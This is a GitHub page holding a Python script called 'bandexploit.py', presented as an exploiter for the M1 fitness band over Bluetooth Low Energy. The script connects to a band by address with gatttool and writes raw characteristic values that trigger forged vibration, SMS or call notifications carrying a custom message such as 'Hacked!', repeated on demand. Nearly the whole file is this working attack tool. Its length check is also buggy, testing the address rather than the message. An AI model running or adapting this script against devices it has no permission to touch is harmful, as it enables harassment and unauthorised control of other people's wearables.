-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathbandexploit.py
84 lines (69 loc) · 4.26 KB
/
bandexploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#! /usr/bin/python
#!coding=utf-8
#Author : Magass
import pexpect, sys, binascii, time
from optparse import OptionParser
class colors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
usage = "usage: %prog [options] Address"
parser=OptionParser(usage=usage)
parser.add_option("-s","--sms",action='store_true',help="Send SMS Notification to the device", default=True)
parser.add_option("-c","--call",action='store_true',help="Send CALL Notification to the device",default=False)
parser.add_option("-r","--repeat",type="int",help="Number of repetitions",default=1)
parser.add_option("-m","--message",type="string",help="Notification message to send. Max_LEN = 8 ",default="Hacked!")
header = """
# ▄▄▄▄ ▄▄▄ ███▄ █ ▓█████▄ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓
# ▓█████▄ ▒████▄ ██ ▀█ █ ▒██▀ ██▌ ▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒
# ▒██▒ ▄██▒██ ▀█▄ ▓██ ▀█ ██▒░██ █▌ ▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░
# ▒██░█▀ ░██▄▄▄▄██ ▓██▒ ▐▌██▒░▓█▄ ▌ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░
# ░▓█ ▀█▓ ▓█ ▓██▒▒██░ ▓██░░▒████▓ ░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░
# ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒▒▓ ▒ ░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░
# ▒░▒ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ▒ ▒ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░
# ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░
# ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
# ░ ░
"""
second=colors.OKBLUE+"\tM1 band Bluetooth Low Energy exploiter ! Made by "+ colors.FAIL+"xMagass"+colors.ENDC
print header
print second + '\n\n\n'
(options, args) = parser.parse_args()
message=binascii.hexlify(options.message)
if len(args) == 0:
print colors.FAIL + "\nPlease specify the Device Address!\n"+colors.ENDC
parser.print_help()
sys.exit()
if len(args[0]) > 8:
print colors.FAIL+"\nThe maximum Length of the message is 8!\n"+colors.ENDC
sys.exit()
try:
print colors.OKGREEN+"[*] Connection to "+str(args[0])+colors.ENDC +"\n"
device = pexpect.spawn('gatttool -I')
device.sendline("connect "+str(args[0]))
device.expect("Connection successful")
print colors.OKGREEN+"[+] Connected!"+colors.ENDC +"\n"
for i in range(options.repeat):
device.sendline("char-write-req 0x0012 c101"+message) # Message
device.expect("Characteristic value was written successfully")
print "Iteration -"+str(i+1)
print colors.OKGREEN+"[+] Sending Vibration..."+colors.ENDC+'\n'
device.sendline("char-write-req 0x0012 ab00000001050000") # Notification
device.expect("Characteristic value was written successfully")
if options.call:
print colors.OKGREEN+"[+] Sending Call Notification..."+colors.ENDC +'\n'
device.sendline("char-write-req 0x0012 c102") #call
elif options.sms:
print colors.OKGREEN+"[+] Sending Message Notification..."+colors.ENDC +'\n'
device.sendline("char-write-req 0x0012 c103") #sms
time.sleep(0.5)
except KeyboardInterrupt:
print colors.FAIL+"[-] Stopping..."+colors.ENDC
sys.exit(0)
except:
print colors.FAIL+"[-] Connection error..."+colors.ENDC